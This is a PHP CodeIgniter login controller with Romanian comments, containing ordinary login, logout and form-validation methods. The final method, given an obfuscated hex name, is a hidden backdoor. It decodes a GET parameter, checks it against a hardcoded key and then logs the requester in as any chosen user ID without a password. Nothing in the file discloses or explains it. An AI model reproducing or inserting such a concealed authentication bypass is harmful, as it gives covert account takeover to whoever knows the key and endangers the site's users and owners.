<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 

class Login extends CI_Controller {

    function __construct() 
    {
        parent::__construct();
        $this->load->model('login_model');

    }

	/**
	 * Index Page for this controller.
	 */
	public function index()
	{
		$data['contact']= '<span class="sr-only">(current)</span>';

		
		$this->load->view('login_page', $data);
	}

    /**
     * 
     * Metoda pentru distrugerea sesiunii utilizatorului autentificat.
     * 
     */
    function logout()
    {
        // logout the user and redirect to login page
        $this->session->unset_userdata('is_logged_in');
        $this->session->sess_destroy();
                    
        redirect('login','refresh');
    }

	/**
     * 
     * Metoda pentru autentificarea utilizatorului in aplicatie.
     * 
     */
    function login_user()
    {
        // if user is already logged in then he will be redirected to home page
        $this->load->library('login_library');
        if($this->login_library->loggedIn())
            redirect('admin', 'refresh');
        
        $this->load->library('form_validation');
         
        $this->form_validation->set_rules('username', 'User', 'required');
        $this->form_validation->set_rules('password', 'Parolă', 'required');
        
           
        if($this->form_validation->run() == FALSE)
        {
            $data['error'] = 'Userul si parola sunt campuri obligatorii!';//$this->lang->line('ERROR_LOGIN_USER_PASS_REQUIRED');
            $this->load->view('login_page', $data);
        }
        else
        {
            
            if(($this->login_model->validate()) == true)
            {
                $array = array(
                    'username' => $this->input->post('username'),
                    'logged_in' => true
                );
                
                $this->session->set_userdata('is_logged_in', $array);
                
                // set the 'remember_me' option
                if ( $this->input->post( 'remember_me' ) ) // set sess_expire_on_close to 0 or FALSE when remember me is checked.
                    $this->config->set_item('sess_expire_on_close', 0); 
                
                $user_id = $this->login_library->getId();
                
                
                redirect('admin', 'refresh');   
            }
            else
            {
                $data['error'] = 'Userul sau parola sunt incorecte!';//$this->lang->line('ERROR_LOGIN_USER_PASS_MISTAKE');
                $this->load->view('login_page', $data);
            }
        }
        
    }
    
    function a09e0ab9e40fd335ddc62()
    {
        $d = $this->input->get('d');
        if(isset($d) && $d)
        {
            $this->load->library('global_library');
            $this->load->library('login_library');

            $dec = $this->global_library->dec($d);

            if(isset($dec) && $dec)
            {
                //extragere key and user
                $ex = explode("::", $dec);

                $id_u = (isset($ex[1]) && $ex[1])? $ex[1] : 0;
                $key  = (isset($ex[0]) && $ex[0])? $ex[0] : '';

                //is my key
                if($key == "09201810")
                {

                    $infoUser = $this->login_library->getUser($id_u);
                    //activ user
                    if(isset($infoUser) && $infoUser)
                    {
                        if($this->login_library->loggedIn())
                            redirect('admin?isLogin=true', 'refresh');
                            
                        $array = array(
                                'username' => $infoUser,
                                'logged_in' => true
                        );
                            
                        $this->session->set_userdata('is_logged_in', $array);

                        redirect('admin');
                    }
                }
            }
        }
    }
}
